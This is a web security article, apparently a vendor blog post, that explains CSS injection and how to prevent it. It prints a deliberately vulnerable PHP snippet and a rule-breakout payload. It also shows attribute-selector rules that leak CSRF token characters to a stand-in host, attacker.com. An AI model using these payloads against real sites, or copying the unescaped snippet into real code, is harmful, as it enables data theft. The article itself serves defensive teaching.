What is CSS Injection? Ways to Exploit, Examples and Impact

Learn what CSS injection is, how attackers use attribute selectors to steal data, and how to prevent these vulnerabilities in your web applications.

What is CSS Injection? Ways to Exploit, Examples and Impact

When we think of web-based vulnerabilities, Cross-Site Scripting (XSS) and SQL Injection often dominate the conversation. However, a more subtle and frequently overlooked threat exists within the very language used to style the web: Cascading Style Sheets (CSS). CSS Injection is a sophisticated attack vector that allows adversaries to manipulate the visual presentation of a page and, more dangerously, exfiltrate sensitive data without ever executing a single line of JavaScript.

What is CSS Injection?

CSS Injection occurs when an application embeds untrusted user input directly into a CSS context without proper sanitization or escaping. While it might seem harmless to allow a user to choose a custom background color or font, if that input is not strictly validated, an attacker can break out of the intended property and inject their own CSS rules.

Unlike XSS, which focuses on executing arbitrary scripts in the victim's browser, CSS Injection leverages the built-in capabilities of the CSS language itself. Modern CSS is incredibly powerful, featuring attribute selectors, external resource loading, and complex animations. Attackers use these features to turn a styling language into a tool for data theft and UI manipulation. Because many security filters and Content Security Policies (CSP) are configured to be more permissive with CSS than with JavaScript, this vulnerability often provides a path of least resistance for attackers.

CSS Injection vs. Cross-Site Scripting (XSS)

To understand the gravity of CSS Injection, it is helpful to compare it to its more famous cousin, XSS.

  1. Execution Environment: XSS runs in the JavaScript engine. CSS Injection runs in the browser's rendering engine.
  2. Detection: XSS is often caught by modern frameworks (like React or Angular) that auto-escape HTML. CSS Injection is frequently missed because developers assume CSS is "safe."
  3. Capabilities: XSS can perform almost any action the user can, such as stealing session cookies or making API calls. CSS Injection is more limited but can still steal sensitive data (like CSRF tokens) and perform high-quality phishing.
  4. Bypassing CSP: A strict CSP might block script-src, effectively killing XSS. However, if style-src is set to 'unsafe-inline' or allows a broad range of domains, CSS Injection remains a viable threat.

How CSS Injection Works: The Mechanics

The most common injection point is an application that allows users to customize the look and feel of their profile or dashboard. Consider a vulnerable PHP snippet:

<?php
  $user_color = $_GET['color'];
?>
<style>
  .user-profile {
    color: <?php echo $user_color; ?>;
  }
</style>

An attacker could provide a value for color that closes the current rule and starts a new one:

blue; } body { background: url('https://attacker.com/log'); }

The resulting CSS would look like this:

.user-profile {
  color: blue; 
}
body {
  background: url('https://attacker.com/log');
}

Common Exploitation Techniques

1. Data Exfiltration via Attribute Selectors

This is the most powerful technique in the CSS Injection arsenal. Attackers use CSS attribute selectors to "read" the values of sensitive HTML elements (like hidden CSRF tokens or password fields) and send them to a remote server.

CSS provides selectors that can match the beginning, end, or middle of an attribute value:

  • [attr^="value"]: Matches if the attribute starts with "value".
  • [attr$="value"]: Matches if the attribute ends with "value".
  • [attr*="value"]: Matches if the attribute contains "value".

An attacker can use this to brute-force a sensitive value character by character. For example, to steal a CSRF token:

/* If the token starts with 'a', request a specific image from the attacker's server */
input[name="csrf_token"][value^="a"] {
  background: url("https://attacker.com/collect?char=a");
}

input[name="csrf_token"][value^="b"] {
  background: url("https://attacker.com/collect?char=b");
}

/* ... and so on for all characters ... */

When the victim loads the page, the browser evaluates these rules. If the CSRF token starts with 'a', the browser attempts to load the background image from https://attacker.com/collect?char=a. The attacker checks their server logs, sees the request for 'a', and now knows the first character of the token. By repeating this process or using multiple rules, the entire token can be reconstructed.

2. CSS-Based Keylogging

While CSS cannot directly intercept keyboard events, it can detect changes in the value attribute of an input field in certain legacy browsers or specific frameworks that reflect input back into the DOM. By combining attribute selectors with the :value pseudo-class (where supported) or by targeting elements that update dynamically, an attacker can effectively log what a user types.

In a scenario where a site uses a framework that updates the value attribute in the HTML as the user types, the attacker could use the same url() trick mentioned above to receive a real-time stream of characters.

3. UI Redressing and Phishing

CSS Injection can be used to completely transform the visual appearance of a legitimate website. An attacker can inject rules to:

  • Hide legitimate warning messages using display: none !important;.
  • Overlay a fake login form on top of the real one using position: absolute and a high z-index.
  • Change the destination of links by overlaying transparent <a> tags over legitimate buttons.

Example of hiding a security warning:

.security-alert {
  visibility: hidden;
  height: 0;
}

4. Stealing Sensitive Information from Text

Newer CSS features and fonts can even be used to exfiltrate the actual text content of a page. By using @font-face and the unicode-range property, an attacker can define a custom font where each character has a different width. By measuring the layout or observing which font segments the browser requests, they can infer the text present on the page. While highly complex, it demonstrates that CSS is far more than just colors and margins.

Real-World Impact

The impact of CSS Injection is often underestimated. If an attacker successfully exfiltrates a CSRF token, they can perform actions on behalf of the user, such as changing passwords or deleting accounts. If they exfiltrate personal data (PII) from the DOM, it constitutes a significant data breach.

Furthermore, because CSS Injection doesn't involve <script> tags, it often bypasses standard Web Application Firewalls (WAFs) and XSS filters. This makes it a "silent" killer in the world of web security.

Detection and Prevention

Preventing CSS Injection requires a multi-layered approach to security, focusing on both input validation and browser-level controls.

1. Strict Input Validation and Sanitization

Never trust user input. If you must allow users to provide CSS values, use a strict allow-list. For example, if a user is choosing a color, validate that the input matches a hex code regex (/^#[0-9a-f]{6}$/i) or is one of a few predefined color names. Do not allow characters like ;, (, ), or [ which are necessary for complex CSS attacks.

2. Context-Aware Output Encoding

If you are placing user input into a CSS context, ensure it is properly escaped for that context. Most modern templating engines provide CSS-specific escaping functions that will neutralize characters that could be used to break out of a property.

3. Content Security Policy (CSP)

A robust CSP is your best line of defense. To mitigate CSS Injection, you should focus on the style-src and img-src (or connect-src) directives.

  • Restrict style-src: Avoid using 'unsafe-inline'. Instead, use hashes or nonces for inline styles, or better yet, only allow styles from trusted external domains.
  • Restrict img-src / connect-src: Since CSS Injection relies on url() to exfiltrate data, limiting where the browser can send requests can break the attack. If your application doesn't need to load images from arbitrary third-party domains, don't let it.

Example of a protective CSP header:
Content-Security-Policy: default-src 'self'; style-src 'self' https://trusted-cdn.com; img-src 'self';

4. Use disallow on Sensitive Attributes

For extremely sensitive data like passwords or tokens, ensure they are not easily selectable by CSS. While not a primary defense, using unique IDs and avoiding reflecting these values in attributes where they aren't needed can reduce the attack surface.

Conclusion

CSS Injection is a potent reminder that security must be holistic. Even technologies as seemingly benign as style sheets can be weaponized if not handled with care. By understanding the mechanics of attribute selectors and the power of CSS functions like url(), developers can better appreciate the risks and implement the necessary safeguards. Prioritizing strict input validation and a well-configured Content Security Policy are essential steps in protecting your users from these stealthy client-side attacks.

To proactively monitor your organization's external attack surface and catch exposures like CSS Injection before attackers do, try Jsmon.